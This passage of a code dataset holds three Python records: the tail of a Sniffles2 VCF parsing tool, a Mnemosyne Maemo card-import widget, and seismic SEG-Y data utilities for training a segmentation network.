  if gt not in gt_dict:\n                        gt_dict[gt] = 1\n                    else:\n                        gt_dict[gt] += 1\n                else:\n                    if (vcf_entry.DR+vcf_entry.DV) >= args.minsupp_read:\n                        af = \"{:0.3f}\".format(vcf_entry.AF) if vcf_entry.AF != -1 else \"NA\"\n                        if vcf_entry.SVTYPE == \"BND\":\n                            print(f'{vcf_entry.CHROM}\\t{vcf_entry.POS}\\t{vcf_entry.GENOTYPE}\\t{vcf_entry.SVTYPE}\\t{vcf_entry.TRA}\\t{vcf_entry.DR+vcf_entry.DV}\\t{af}\\t{vcf_entry.DR}\\t{vcf_entry.DV}', end=\"\\n\")\n                        else:\n                            print(f'{vcf_entry.CHROM}\\t{vcf_entry.POS}\\t{vcf_entry.GENOTYPE}\\t{vcf_entry.SVTYPE}\\t{vcf_entry.SVLEN}\\t{vcf_entry.DR+vcf_entry.DV}\\t{af}\\t{vcf_entry.DR}\\t{vcf_entry.DV}', end=\"\\n\")\n    if args.only_genotype:\n        gt_total = 0\n        for gt in gt_dict:\n            print(f'{gt}\\t{gt_dict[gt]}', end=\"\\n\")\n            gt_total += gt_dict[gt]\n        print(f'TOTAL\\t{gt_total}', end=\"\\n\")\n\n\ndef population_parse(args):\n\n    def print_out(vcf_entry, nSupport, support_ids_notRef):\n        if vcf_entry.SVTYPE == \"BND\":\n            print(f'{vcf_entry.CHROM}\\t{vcf_entry.POS}\\t{vcf_entry.END}\\t{vcf_entry.GENOTYPE}\\t{vcf_entry.SVTYPE}\\t{vcf_entry.SVLEN}\\t{nSupport}\\t{support_ids_notRef}', end=\"\\n\")\n        else:\n            if abs(vcf_entry.SVLEN) > args.minsize:\n                print(f'{vcf_entry.CHROM}\\t{vcf_entry.POS}\\t{vcf_entry.END}\\t{vcf_entry.GENOTYPE}\\t{vcf_entry.SVTYPE}\\t{vcf_entry.SVLEN}\\t{nSupport}\\t{support_ids_notRef}', end=\"\\n\")\n\n    def print_out_bed(vcf_entry):\n        if vcf_entry.SVTYPE == \"BND\" or abs(vcf_entry.SVLEN) > args.minsize:\n            start=min(vcf_entry.END, vcf_entry.POS)\n            end=max(vcf_entry.END, vcf_entry.POS)\n            if args.breakpoints_only and vcf_entry.SVTYPE != \"BND\" and vcf_entry.SVTYPE != \"INS\":\n                print(f'{vcf_entry.CHROM}\\t{start}\\t{start}\\t{vcf_entry.ID}\\ts', end=\"\\n\")\n                print(f'{vcf_entry.CHROM}\\t{end}\\t{end}\\t{vcf_entry.ID}\\te', end=\"\\n\")\n            else:\n                print(f'{vcf_entry.CHROM}\\t{start}\\t{end}\\t{vcf_entry.ID}\\tu', end=\"\\n\")\n\n    def id2fam(family_table):\n        id_2_fam = {}\n        famfilehandl = open(family_table, \"r\")\n        for l in famfilehandl:\n            [smplID, fam] = l.rstrip(\"\\n\").split(\"\\t\")\n            if smplID not in id_2_fam:\n                id_2_fam[smplID] = fam\n        famfilehandl.close()\n        return(id_2_fam)\n\n    def snf2_filtering(args, id_2_fam):\n        if args.as_bed:\n            pass\n        else:\n            print(f'#CHROM\\tSTART\\tEND\\tGT\\tSVTYPE\\tSVLEN\\tnSUPPORT\\tSUPPORT(NO 0/0)', end=\"\\n\")\n        for line in sys.stdin:\n            # skip comments\n            if line.startswith(\"#\") and not line.startswith(\"##\"):\n                vcfHeader = vcf_header(line.rstrip(\"\\n\"))\n            elif not line.startswith(\"#\"):\n                vcf_entry = vcf_line_pop(line.rstrip(\"\\n\"))\n                nSupport = sum([int(x) for x in list(vcf_entry.SUPP_VEC)])\n                if nSupport >= args.minsupp_calls:\n                    support_ids = vcfHeader.get_sample_name(vcf_entry.SUPP_VEC, vcf_entry.all_GT, id_2_fam)\n                    support_ids_notRef = [x for x in support_ids.split(\", \") if (\"0/0\" not in x and \"./.\" not in x)]\n                    nSupport_ids_notRef = len(support_ids_notRef)\n                    support_ids_notRef = \", \".join(support_ids_notRef)\n                    if args.uniq_only:\n                        if nSupport == 1:\n                            if args.as_bed:\n                                print_out_bed(vcf_entry)\n                            else:\n                                print_out(vcf_entry, nSupport, support_ids_notRef)\n                    else:\n                        if nSupport_ids_notRef != 0:\n                            if args.as_bed:\n                                print_out_bed(vcf_entry)\n                            else:\n                                print_out(vcf_entry, nSupport_ids_notRef, support_ids_notRef)\n\n    def snf2_ont31(args, id_2_fam):\n        #10kb\n        _10kb = 10000\n        print(f'#CHROM\\tSTART\\tEND\\tSVTYPE\\tSVLEN', end=\"\\n\")\n        for line in sys.stdin:\n            if line.startswith(\"#\") and not line.startswith(\"##\"):\n                vcfHeader = vcf_header(line.rstrip(\"\\n\"))\n            elif not line.startswith(\"#\"):\n                vcf_entry = vcf_line_pop(line.rstrip(\"\\n\"))\n                support_ids_all = vcfHeader.get_sample_name(vcf_entry.SUPP_VEC, vcf_entry.all_GT, id_2_fam)\n                # remove 0/0 GT\n                support_ids = \", \".join([i for i in support_ids_all.split(\", \") if \"0/0\" not in i])\n                # filters: notFather, skipTRA, onlychrX, notOnlyinMother(not seen in proband)\n                notFather = \"F\" not in support_ids\n                skipTRA = vcf_entry.SVTYPE != \"BND\"\n                onlychrXY = vcf_entry.CHROM == \"X\" or vcf_entry.CHROM == \"Y\"\n                notOnlyMother = not(\"M\" in support_ids and \"P\" not in support_ids) if args.family_table != \"\" else True\n                sv_min_len_is_10kb = abs(vcf_entry.SVLEN) >= _10kb if vcf_entry.SVTYPE != \"BND\" else True\n                if sv_min_len_is_10kb and notFather and skipTRA and onlychrXY and notOnlyMother and len(support_ids) > 0:\n                    vcf_end_pos = vcf_entry.POS + vcf_entry.SVLEN if not isSV_translocation(vcf_entry.SVTYPE) else vcf_entry.TRA\n                    print(f'{vcf_entry.CHROM}\\t{vcf_entry.POS}\\t{vcf_end_pos}\\t{vcf_entry.SVTYPE}\\t{vcf_entry.SVLEN}\\t{support_ids}', end=\"\\n\")\n            else:\n                pass\n\n    id_2_fam = id2fam(args.family_table) if args.family_table != \"\" else {}\n    if args.ont31:\n        if args.family_table == \"\":\n            logger(\"Family relationship (--families) not provided\", \"warn\")\n        snf2_ont31(args, id_2_fam)\n    else:\n        snf2_filtering(args, id_2_fam)\n\n\ndef isSV_translocation(the_svtype):\n    return (the_svtype == \"BND\" or the_svtype == \"TRA\")\n\n\ndef get_arguments():\n    vcfu_help = \"\"\"\n    vcf_utils <command> [<args>]\n            single      Extract genotype information for SV\n                          none | --min-read-support | --filter-gt | --genotypes_only\n            population  Parse information of Sniffles2 population merge result\n                          none | --families | --min-support | --min-size | --uniq-only | --as-bed & --breakpoints-only | --ont-trios & --ont-trios-filter | --ont-31\n            filterind   Filters SV from sniffles2 pop for a single indiviual (bcftools -s NAME pop.vcf)\n                          none\n            version    Version\n    \"\"\"\n    # TODO: no command give no help\n    parser = argparse.ArgumentParser(\n             description=\"VCF utils\",\n             usage=vcfu_help\n    )\n    subparsers = parser.add_subparsers(help=vcfu_help, dest=\"command\")\n\n    # ############################################################################################ #\n\n    # ############################################################################################ #\n    # GenotypeSV\n    genotype_sv_help = \"Extracts the chr, position and genotype for SV\"\n    subparser_genotypesv = subparsers.add_parser(\"parsesv\", help=genotype_sv_help)\n    subparser_genotypesv.add_argument('-s', '--min-read-support', type=int, required=False, dest='minsupp_read', default=1,\n                                   help='Min. read support for the SV calls, default = 1')\n    subparser_genotypesv.add_argument('-f', '--filter-gt', type=str, required=False, dest='filer_gt', default=\"\",\n                                   help='Removed genotypes from output, for multiple,need to be comma separated.\\nExample: -f 0/0,0/1, default = None')\n    subparser_genotypesv.add_argument('-g', '--genotypes_only', action='store_true', required=False, dest='only_genotype',\n                                   help='Only output the genotype counts, default = False')\n\n    # ############################################################################################ #\n\n    # ############################################################################################ #\n    # Sniffles2 population\n    population_help = \"Perform analysis on Sniffles2 population-merges\"\n    subparser_population = subparsers.add_parser(\"population\", help=population_help)\n    subparser_population.add_argument('-f', '--families', type=str, required=False, dest='family_table', default=\"\",\n                                   help='File name or path of the file containing the relationship of a sampleID and its source. \\\n                                    Adds F for father, M for mother and P for proband in the results of the genotype')\n    subparser_population.add_argument('-m', '--min-support', type=int, required=False, dest='minsupp_calls', default=1,\n                                   help='Min. support for the SV calls (from SUPP_VEC), default = 1')\n    subparser_population.add_argument('-s', '--min-size', type=int, required=False, dest='minsize', default=1,\n                                   help='Min. absolute size of the event (excep for BDN), default = 1')\n    subparser_population.add_argument('-u', '--uniq-only', action='store_true', required=False, dest='uniq_only',\n                                   help='Show only those that appear in a single individual (from SUPP_VEC), default = False')\n    subparser_population.add_argument('-b', '--as-bed', action='store_true', required=False, dest='as_bed',\n                                   help='The output is bed format: chr start end (tab separated), default = False')\n    subparser_population.add_argument('-k', '--breakpoints-only', action='store_true', required=False, dest='breakpoints_only',\n                                   help='Write down only the breakpoints, e.g. start = A, end =A; so each SV is twice, once start, once end, default = False, Only works with \"as-bed\"')\n\n    # Analysis for the paper\n    subparser_population.add_argument('-1', '--ont-31', action='store_true', required=False, dest='ont31',\n                                   help='Perform the analysis of the probands for the sniffles2 paper, default = False')\n\n    # ############################################################################################ #\n\n    # ############################################################################################ #\n    # Version\n    version_help = \"Gives the version number\"\n    subparser_version = subparsers.add_parser(\"version\", help=version_help)\n\n    # ############################################################################################ #\n\n    args = parser.parse_args()\n    return args, vcfu_help # TODO: see above\n\n\ndef main():\n    args, main_help = get_arguments()\n    command = args.command\n\n    # single\n    if command == \"parsesv\":\n        get_genotype_sv(args)\n    # population\n    elif command == \"population\":\n        args.minsupp_calls = 1 if args.uniq_only else args.minsupp_calls # in uniq_only override minsupp_calls\n        population_parse(args)\n    # version/--version\n    elif command == \"version\":\n        the_version()\n    # help\n    else:\n        print(main_help)\n\n# main\nif __name__ == '__main__':\n    main()\n","repo_name":"smolkmo/Sniffles2-Supplement","sub_path":"sniffles2_vcf_parser.py","file_name":"sniffles2_vcf_parser.py","file_ext":"py","file_size_in_byte":22773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16089330103","text":"import mnemosyne.maemo_ui.widgets.tags as widgets\nfrom mnemosyne.libmnemosyne.ui_component import UiComponent\nfrom mnemosyne.maemo_ui.widgets.importcards  import create_importcard_ui\n\nclass ImportCardsWidget(UiComponent):\n    \"\"\"Import Widget.\"\"\"\n\n    def __init__(self, component_manager ):\n\n        UiComponent.__init__(self, component_manager)\n\n        self.formats = [desc.description for desc in \\\n                        self.component_manager.get_all(\"file_format\")]\n \n        self.page, self.format_label, self.tags_box, menu_button, \\\n            ok_button, self.file_name_label, \\\n            self.format_prev_button, self.format_next_button, \\\n            = create_importcard_ui( self.main_widget().window, \\\n            self.main_widget().switcher, \\\n            self.component_manager.get_current(\"file_format\").description)\n        self.tags_dict = {}\n\n        # connect signals\n        self.format_prev_button.connect('clicked', self.change_format_cb)\n        self.format_next_button.connect('clicked', self.change_format_cb)\n        menu_button.connect('clicked', self.back_to_main_menu_cb)\n        ok_button.connect('clicked', self.ok_button_cb)\n\n    def activate(self):\n        \"\"\"Set necessary switcher page.\"\"\"\n\n        self.main_widget().switcher.set_current_page(self.page)\n        self.display_criterion(self.database().current_activity_criterion())\n\n    def display_criterion(self, criterion):\n        \"\"\"Display current criterion.\"\"\"\n\n        tags_box = self.tags_box\n        for child in tags_box.get_children():\n            tags_box.remove(child)\n        for tag in self.database().get_tags():\n            self.tags_dict[tag.name] = tag._id\n            # get cards count for tag\n            cards_count = sum([ \\\n                self.database().card_count_for_grade_and__tag_id( \\\n                    grade, tag._id) for grade in range(-1, 6)])\n            tags_box.pack_start(widgets.create_tag_checkbox(tag.name + \\\n                unicode(\" (%s cards)\" % cards_count), \\\n                tag._id in criterion.active_tag__ids))\n\n    def get_criterion(self):\n        \"\"\"Build the criterion from the information the user entered.\"\"\"\n\n        criterion = DefaultCriterion(self.component_manager)\n        for hbox in self.tags_box.get_children():\n            children = hbox.get_children()\n            if children[0].get_active():\n                label = children[1].get_label()\n                tag_name = unicode( \\\n                    re.search(r'(.+) \\(\\d+ cards\\)', label).group(1))\n                criterion.active_tag__ids.add(self.tags_dict[tag_name])\n        return criterion\n\n    def back_to_main_menu_cb(self, widget):\n        \"\"\"Returns to main menu.\"\"\"\n\n        self.main_widget().switcher.remove_page(self.page)\n        self.main_widget().menu_('importcards')\n\n    def ok_button_cb(self, widget):\n        \"\"\"Ok \"\"\"\n\n#        from mnemosyne.libmnemosyne.file_formats.tsv import import_txt_2\n        self.component_manager.get_current(\"file_format\"). \\\n            do_import(self.file_name_label.get_text()) \n        self.main_widget().switcher.remove_page(self.page)\n        self.main_widget().menu_('importcards')\n\n    def change_format_cb(self, widget):\n        \"\"\"Changes current format file.\"\"\"\n\n        format_index = self.formats.index(self.format_label.get_text())\n        direction = 1\n\n        if widget == self.format_prev_button:\n            direction = -1\n        try:\n            new_format = self.formats[format_index + direction]\n        except IndexError:\n            if direction:\n                new_format = self.formats[0]\n            else:\n                new_format = self.formats[-1]\n        finally:\n            self.format_label.set_text(new_format)\n\n","repo_name":"vasvlad/pomni","sub_path":"mnemosyne/mnemosyne/maemo_ui/importcards.py","file_name":"importcards.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"23367100900","text":"import numpy as np\nimport segyio\nimport matplotlib.pyplot as plt\nimport copy\nimport seaborn as sn\nfrom skimage.util import random_noise\nimport tensorflow as tf\nfrom sklearn.metrics import confusion_matrix\nimport pandas as pd\nimport os\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.preprocessing import OneHotEncoder\n\n\ndef process_coords(points_coords, seis_spec, cube_incr_x, cube_incr_y, cube_incr_z, cube_step_interval, shuffle=True):\n    coords_copy = points_coords\n    if shuffle == True:\n        np.random.shuffle(coords_copy)\n\n    inline_start = seis_spec.inl_start\n    inline_step = seis_spec.inl_step\n    xline_start = seis_spec.xl_start\n    xline_step = seis_spec.xl_step\n    t_start = seis_spec.t_start\n    t_step = seis_spec.t_step\n\n    coords_copy_norm = np.array([(coords_copy[:, 0] - inline_start) // inline_step + cube_incr_x * cube_step_interval,\n                                 (coords_copy[:, 1] - xline_start) // xline_step + cube_incr_y * cube_step_interval,\n                                 (coords_copy[:, 2] - t_start) // t_step + cube_incr_z,\n                                 coords_copy[:, 3]]).T\n\n    return coords_copy_norm\n\n\ndef segy_read(segy_file, mode, scale=1, inp_cube=None, read_direc='xline', inp_res=np.float32):\n\n    if mode == 'create':\n        print('Starting SEG-Y decompressor')\n        output = segyio.spec()\n\n    elif mode == 'add':\n        if inp_cube is None:\n            raise ValueError('if mode is add inp_cube must be provided')\n        print('Starting SEG-Y adder')\n        cube_shape = inp_cube.shape\n        data = np.empty(cube_shape[0:-1])\n\n    else:\n        raise ValueError('mode must be create or add')\n\n    # open the segyfile and start decomposing it\n    with segyio.open(segy_file, \"r\") as segyfile:\n        segyfile.mmap()\n\n        if mode == 'create':\n            # Store some initial object attributes\n            output.inl_start = segyfile.ilines[0]\n            output.inl_end = segyfile.ilines[-1]\n            output.inl_step = segyfile.ilines[1] - segyfile.ilines[0]\n\n            output.xl_start = segyfile.xlines[0]\n            output.xl_end = segyfile.xlines[-1]\n            output.xl_step = segyfile.xlines[1] - segyfile.xlines[0]\n\n            output.t_start = int(segyfile.samples[0])\n            output.t_end = int(segyfile.samples[-1])\n            output.t_step = int(segyfile.samples[1] - segyfile.samples[0])\n\n\n            # Pre-allocate a numpy array that holds the SEGY-cube\n            data = np.empty((segyfile.xline.length,segyfile.iline.length,\\\n                            (output.t_end - output.t_start)//output.t_step+1), dtype = np.float32)\n\n        # Read the entire cube line by line in the desired direction\n        if read_direc == 'inline':\n            # Potentially time this to find the \"fast\" direction\n            #start = time.time()\n            for il_index in range(segyfile.xline.len):\n                data[il_index,:,:] = segyfile.iline[segyfile.ilines[il_index]]\n            #print(end - start)\n\n        elif read_direc == 'xline':\n            #start = time.time()\n            for xl_index in range(segyfile.iline.len):\n                data[:,xl_index,:] = segyfile.xline[segyfile.xlines[xl_index]]\n            #end = time.time()\n            #print(end - start)\n\n        elif read_direc == 'full':\n            #start = time.time()\n            data = segyio.tools.cube(segy_file)\n            #end = time.time()\n            #print(end - start)\n        else:\n            print('Define reading direction(read_direc) using either ''inline'', ''xline'', or ''full''')\n\n        factor = scale/np.amax(np.absolute(data))\n        if inp_res == np.float32:\n            data = (data*factor)\n        else:\n            data = (data*factor).astype(dtype = inp_res)\n\n    if mode == 'create':\n        output.data = data\n        return output\n    else:\n        return output\n\n\ndef points_to_images(points, segy_obj):\n    if points[0][0] == points[1][0]:\n        il = points[0][0]\n        mask = np.zeros((1, segy_obj.data.shape[1], segy_obj.data.shape[2], 1))\n        label = np.zeros((1, segy_obj.data.shape[1], segy_obj.data.shape[2]))\n\n        in_idx = (points[:, 2] > segy_obj.t_start) & (points[:, 2] < segy_obj.t_end)\n        points = points[in_idx]\n        points_xl = (points[:, 1] - segy_obj.xl_start) // segy_obj.xl_step\n        points_t = (points[:, 2] - segy_obj.t_start) // segy_obj.t_step\n        mask[0, points_xl, points_t, 0] = 1\n\n        for i in range(np.unique(points[:, 3]).shape[0]):\n            idx = np.where(points[:, 3] == i)[0]\n            label[0, points[idx, 1] - segy_obj.xl_start, (points[idx, 2] - segy_obj.t_start) // segy_obj.t_step] = i\n\n        seis_data = segy_obj.data[il - segy_obj.inl_start, :, :, :][np.newaxis, :, :, :]\n\n    elif points[0][1] == points[1][1]:\n        xl = points[0][1]\n        mask = np.zeros((1, segy_obj.data.shape[0], segy_obj.data.shape[2], 1))\n        label = np.zeros((1, segy_obj.data.shape[0], segy_obj.data.shape[2]))\n\n        in_idx = (points[:, 2] > segy_obj.t_start) & (points[:, 2] < segy_obj.t_end)\n        points = points[in_idx]\n        points_il = (points[:, 0] - segy_obj.inl_start) // segy_obj.inl_step\n        points_t = (points[:, 2] - segy_obj.t_start) // segy_obj.t_step\n        mask[0, points_il, points_t, 0] = 1\n\n        for i in range(np.unique(points[:, 3]).shape[0]):\n            idx = np.where(points[:, 3] == i)[0]\n            label[0, points[idx, 0] - segy_obj.inl_start, (points[idx, 2] - segy_obj.t_start) // segy_obj.t_step] = i\n\n        seis_data = segy_obj.data[:, xl - segy_obj.xl_start, :, :][np.newaxis, :, :, :]\n\n    else:\n        raise ValueError(\"points' format is not recognized\")\n\n    return seis_data, mask, label\n\n\ndef convert(file_list, facies_names):\n    # preallocate space for the adr_list, the output containing all the adresses and classes\n    adr_list = np.empty([0, 4], dtype=np.int32)\n\n    file_list_by_facie = []\n    for facie in facies_names:\n        facie_list = []\n        for filename in file_list:\n            if facie in filename:\n                facie_list.append(filename)\n        file_list_by_facie.append(facie_list)\n\n    # Itterate through the list of example adresses and store the class as an integer\n    for i, files in enumerate(file_list_by_facie):\n        for filename in files:\n            a = np.loadtxt(filename, skiprows=0, usecols=range(3), dtype=np.int32)\n            adr_list = np.append(adr_list, np.append(a, i*np.ones((len(a), 1), dtype=np.int32), axis=1), axis=0)\n\n    return adr_list\n\n\ndef simple_patches_generator(seismic_data, masks, labels, window_size, window_step, batch_size):\n    while True:\n        for k, (line, mask, label) in enumerate(zip(seismic_data, masks, labels)):\n            window_start_x = 0\n            window_end_x = window_size\n            window_start_y = 0\n            window_end_y = window_size\n            line = line[0]\n            mask = mask[0]\n            label = label[0]\n\n            n_steps_x = (line.shape[0] - window_size) // window_step + 1\n            n_steps_y = (line.shape[1] - window_size) // window_step + 1\n\n            n_steps_per_batch = int(np.ceil(batch_size / 3))\n            seis_patches = np.zeros((n_steps_per_batch * 3, window_size, window_size, 1))\n            mask_patches = np.zeros((n_steps_per_batch * 3, window_size, window_size, 1))\n            label_patches = np.zeros((n_steps_per_batch * 3, window_size, window_size))\n            last_batch_steps = (n_steps_x * n_steps_y) % n_steps_per_batch\n\n            if last_batch_steps > 0:\n                seis_last_batch = np.zeros((last_batch_steps * 3, window_size, window_size, 1))\n                mask_last_batch = np.zeros((last_batch_steps * 3, window_size, window_size, 1))\n                label_last_batch = np.zeros((last_batch_steps * 3, window_size, window_size))\n                n_steps_done_last_batch = 0\n            n_batches_yielded = 0\n\n            for i in range(n_steps_x * n_steps_y):\n                seis_ex = line[window_start_x:window_end_x, window_start_y:window_end_y, :]\n                flipped_seis = tf.image.flip_up_down(seis_ex)\n                noised_seis = random_noise(seis_ex, mode='gaussian', var=0.001)\n                binary_mask_ex = mask[window_start_x:window_end_x, window_start_y:window_end_y, :]\n                flipped_mask = tf.image.flip_up_down(binary_mask_ex)\n                classes_ex = label[window_start_x:window_end_x, window_start_y:window_end_y]\n                flipped_classes = tf.image.flip_up_down(classes_ex[:, :, np.newaxis])\n\n                if n_steps_x * n_steps_y - (i + 1) < last_batch_steps and last_batch_steps > 0:\n                    n_steps_done_last_batch += 1\n                    seis_last_batch[(i % n_steps_per_batch) * 3] = seis_ex\n                    mask_last_batch[(i % n_steps_per_batch) * 3] = binary_mask_ex\n                    label_last_batch[(i % n_steps_per_batch) * 3] = classes_ex\n                    seis_last_batch[(i % n_steps_per_batch) * 3 + 1] = flipped_seis\n                    mask_last_batch[(i % n_steps_per_batch) * 3 + 1] = flipped_mask\n                    label_last_batch[(i % n_steps_per_batch) * 3 + 1] = flipped_classes[:, :, 0]\n                    seis_last_batch[(i % n_steps_per_batch) * 3 + 2] = noised_seis\n                    mask_last_batch[(i % n_steps_per_batch) * 3 + 2] = binary_mask_ex\n                    label_last_batch[(i % n_steps_per_batch) * 3 + 2] = classes_ex\n                else:\n                    seis_patches[(i % n_steps_per_batch) * 3] = seis_ex\n                    mask_patches[(i % n_steps_per_batch) * 3] = binary_mask_ex\n                    label_patches[(i % n_steps_per_batch) * 3] = classes_ex\n                    seis_patches[(i % n_steps_per_batch) * 3 + 1] = flipped_seis\n                    mask_patches[(i % n_steps_per_batch) * 3 + 1] = flipped_mask\n                    label_patches[(i % n_steps_per_batch) * 3 + 1] = flipped_classes[:, :, 0]\n                    seis_patches[(i % n_steps_per_batch) * 3 + 2] = noised_seis\n                    mask_patches[(i % n_steps_per_batch) * 3 + 2] = binary_mask_ex\n                    label_patches[(i % n_steps_per_batch) * 3 + 2] = classes_ex\n\n                if i == n_steps_x * n_steps_y - 1:\n                    if last_batch_steps > 0:\n                        yield [seis_last_batch, mask_last_batch], label_last_batch\n                    else:\n                        yield [seis_patches, mask_patches], label_patches\n                else:\n                    if (i + 1) % n_steps_per_batch == 3:\n                        n_batches_yielded += 1\n                        yield [seis_patches, mask_patches], label_patches\n\n                if window_end_x + window_step > line.shape[0]:\n                    window_start_x = 0\n                    window_end_x = window_size\n                    window_start_y += window_step\n                    window_end_y += window_step\n                else:\n                    window_start_x += window_step\n                    window_end_x += window_step\n\n\ndef patches_creator(seismic_data, masks, labels, window_size, window_step):\n    seis_patches = []\n    mask_patches = []\n    label_patches = []\n\n    for line, mask, label in zip(seismic_data, masks, labels):\n        window_start_x = 0\n        window_end_x = window_size\n        window_start_y = 0\n        window_end_y = window_size\n        n_steps_x = (line.shape[0] - window_size) // window_step + 1\n        n_steps_y = (line.shape[1] - window_size) // window_step + 1\n\n        for i in range(n_steps_x * n_steps_y):\n            seis_ex = line[window_start_x:window_end_x, window_start_y:window_end_y, :]\n            seis_patches.append(seis_ex)\n            binary_mask_ex = mask[window_start_x:window_end_x, window_start_y:window_end_y, :]\n            mask_patches.append(binary_mask_ex)\n            classes_ex = label[window_start_x:window_end_x, window_start_y:window_end_y]\n            label_patches.append(classes_ex)\n\n            seis_patches.append(np.flipud(seis_ex))\n            mask_patches.append(np.flipud(binary_mask_ex))\n            label_patches.append(np.flipud(classes_ex))\n\n            seis_patches.append(random_noise(seis_ex, mode='gaussian', var=0.001))\n            mask_patches.append(binary_mask_ex)\n            label_patches.append(classes_ex)\n\n            if window_end_x + window_step > line.shape[0]:\n                window_start_x = 0\n                window_end_x = window_size\n                window_start_y += window_step\n                window_end_y += window_step\n            else:\n                window_start_x += window_step\n                window_end_x += window_step\n\n    return np.array(seis_patches), np.array(mask_patches), np.array(label_patches)\n\n\ndef generate_coordinates(section_number, section_type, segy_obj):\n    seis_arr = segy_obj.data\n\n    if section_type == 'xline':\n        first_il = segy_obj.il_start\n        t_step = segy_obj.t_step\n        first_t = segy_obj.t_start // t_step\n        n_il = seis_arr.shape[0]\n        n_ts = seis_arr.shape[2]\n        predict_coord = []\n        for il in range(first_il, segy_obj.xl_start + n_il):\n            for ts in range(first_t, first_t + n_ts):\n                predict_coord.append([il, section_number, ts * t_step, 0])\n\n    elif section_type == 'inline':\n        first_xl = segy_obj.xl_start\n        t_step = segy_obj.t_step\n        first_t = segy_obj.t_start // t_step\n        n_xl = seis_arr.shape[1]\n        n_ts = seis_arr.shape[2]\n        predict_coord = []\n        for xl in range(first_xl, segy_obj.xl_start + n_xl):\n            for ts in range(first_t, first_t + n_ts):\n                predict_coord.append([section_number, xl, ts * t_step, 0])\n\n    else:\n        raise ValueError('section_type must be inline or xline')\n\n    return np.array(predict_coord)\n\n\ndef save_test_prediction(section_number, section_type, test_coords_prep, predictions_test, cube_incr_x, cube_incr_y,\n                         cube_incr_z, cube_step_interval, segy_filename, segy_obj, write_location, mode):\n    output_file = write_location + 'test_prediction.sgy'\n\n    test_coords = generate_coordinates(section_number, section_type, segy_obj)\n    test_coords = process_coords(test_coords, segy_obj, cube_incr_x, cube_incr_y, cube_incr_z,\n                                            cube_step_interval, shuffle=False)\n\n    test_coords_prep_loc = copy.deepcopy(test_coords_prep)\n    test_coords_prep_loc[:, 0] -= cube_incr_x * cube_step_interval\n    test_coords_prep_loc[:, 1] -= cube_incr_y * cube_step_interval\n    test_coords_prep_loc[:, 2] -= cube_incr_z * cube_step_interval\n    ind = np.lexsort((test_coords[:, 2], test_coords[:, 1], test_coords[:, 0]))\n    test_coords_prep_loc = test_coords_prep_loc[ind]\n    predictions_test = predictions_test[ind]\n\n    with segyio.open(segy_filename) as src:\n        spec = segyio.spec()\n        spec.sorting = src.sorting\n        spec.format = src.format\n        spec.samples = src.samples\n        spec.ilines = np.unique(test_coords[:, 0])\n        spec.xlines = np.unique(test_coords[:, 1])\n        with segyio.create(output_file, spec) as dst:\n            dst.text[0] = src.text[0]\n            for i, iline in enumerate((spec.ilines - segy_obj.inl_start) // segy_obj.inl_step):\n                for j, xline in enumerate((spec.xlines - segy_obj.xl_start) // segy_obj.xl_step):\n                    if mode == 'xline':\n                        tr_idx = i\n                    if mode == 'iline':\n                        tr_idx = j\n                    dst.header[tr_idx].update(src.header[iline * len(src.xlines) + xline])\n                    dst.trace[tr_idx] = np.ones(len(src.samples)) * 9\n                    idx = np.all(np.array([test_coords_prep_loc[:, 0] == iline, test_coords_prep_loc[:, 1] == xline]),\n                                 axis=0)\n                    samples = test_coords_prep_loc[idx][:, 2]\n                    trace_vals = dst.trace[tr_idx]\n                    trace_vals[samples] = predictions_test[idx]\n                    dst.trace[tr_idx] = trace_vals\n\n\ndef printout(history, write_location, y_test, pred_test, facies_list):\n    facies_list = ['background'] + facies_list[1:]\n\n    if not os.path.exists(write_location):\n        os.makedirs(write_location)\n\n    plt.figure()\n    fig, ax1 = plt.subplots()\n    ax1.set_xlabel('batch #')\n    ax1.set_ylabel('loss', color='blue')\n    ax1.plot(np.array(history.batch_loss), color='blue')\n\n    ax2 = ax1.twinx()\n    ax2.set_ylabel('acc', color='red')\n    ax2.plot(np.array(history.batch_acc), color='red')\n    plt.savefig(write_location + 'batch_history.jpg')\n\n    np.savetxt(write_location + 'history_batch_loss.txt', np.array(history.batch_loss))\n    np.savetxt(write_location + 'history_batch_acc.txt', np.array(history.batch_acc))\n    np.savetxt(write_location + 'history_val_acc.txt', np.array(history.val_acc))\n    np.savetxt(write_location + 'history_val_loss.txt', np.array(history.val_loss))\n\n    plt.figure()\n    cm = confusion_matrix(y_test.astype(int), pred_test.astype(int), normalize='true')\n    print(facies_list)\n    print(cm)\n    df_cm = pd.DataFrame(cm, index=[facies_list[i] for i in list(np.arange(cm.shape[0]))],\n                         columns=[facies_list[i] for i in list(np.arange(cm.shape[0]))])\n    sn.heatmap(df_cm, annot=True, fmt='.2%', cmap='Blues')\n    plt.savefig(write_location + \"confusion_matrix.jpg\")\n\n    enc = OneHotEncoder(sparse=False)\n    categories = np.arange(0, len(facies_list)).reshape(-1, 1)\n    enc.fit(categories)\n    y_test = enc.transform(y_test.reshape(-1, 1))\n    pred_test = enc.transform(pred_test.reshape(-1, 1))\n    fpr = dict()\n    tpr = dict()\n    roc_auc = dict()\n    if not os.path.exists(write_location + 'ROC_curves/'):\n        os.makedirs(write_location + 'ROC_curves/')\n    for i in range(pred_test.shape[1]):\n        if np.sum(y_test[:, i]) == 0:\n            continue\n        fpr[i], tpr[i], _ = roc_curve(y_test[:, i], pred_test[:, i])\n        roc_auc[i] = auc(fpr[i], tpr[i])\n        plt.figure()\n        plt.plot(fpr[i], tpr[i], label='ROC curve (area = %0.6f)' % roc_auc[i])\n        plt.xlabel('False Positive Rate')\n        plt.ylabel('True Positive Rate')\n        plt.title('ROC curve for a class %d' % i)\n        plt.legend(loc=\"lower right\")\n        plt.savefig(write_location + 'ROC_curves/curve_%d' % i)","repo_name":"plaggy/Dilated_ConvNet_for_seismic_segmentation","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
